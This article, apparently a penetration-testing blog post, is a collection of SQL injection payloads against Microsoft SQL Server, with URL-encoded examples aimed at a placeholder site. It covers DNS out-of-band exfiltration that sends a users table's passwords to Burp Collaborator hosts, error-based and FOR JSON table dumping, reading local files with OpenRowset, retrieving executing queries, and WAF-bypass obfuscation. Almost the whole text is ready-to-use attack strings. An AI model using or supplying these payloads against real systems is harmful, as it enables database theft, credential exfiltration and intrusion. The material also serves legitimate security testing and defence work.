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We compiled a list of several techniques for improved exploition of MSSQL injections. All the vectors have been tested on at least three of the latest versions of Microsoft SQL Server: 2019, 2017, 2016SP2.
DNS Out-of-Band
If confronted with a fully blind SQL injection with disabled stacked queries, it’s possible to attain DNS out-of-band (OOB) data exfiltration via the functions fn_xe_file_target_read_file, fn_get_audit_file, and fn_trace_gettable.
fn_xe_file_target_read_file() example:
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permissions: Requires VIEW SERVER STATE permission on the server.
fn_get_audit_file() example:
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permissions: Requires the CONTROL SERVER permission.
fn_trace_gettable() example:
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permissions: Requires the CONTROL SERVER permission.
Alternative Error-Based vectors
Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()
Example use of function USER_NAME():
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
Quick exploitation: Retrieve an entire table in one query
There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.
The query to retrieve the schema, tables and columns from the current database:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 
Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 
Reading local files
An example of retrieving a local file C:\Windows\win.ini using the function OpenRowset():
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null
Error-based vector:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
Retrieving the current query
The current SQL query being executed can be retrieved from access sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- \N seperator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--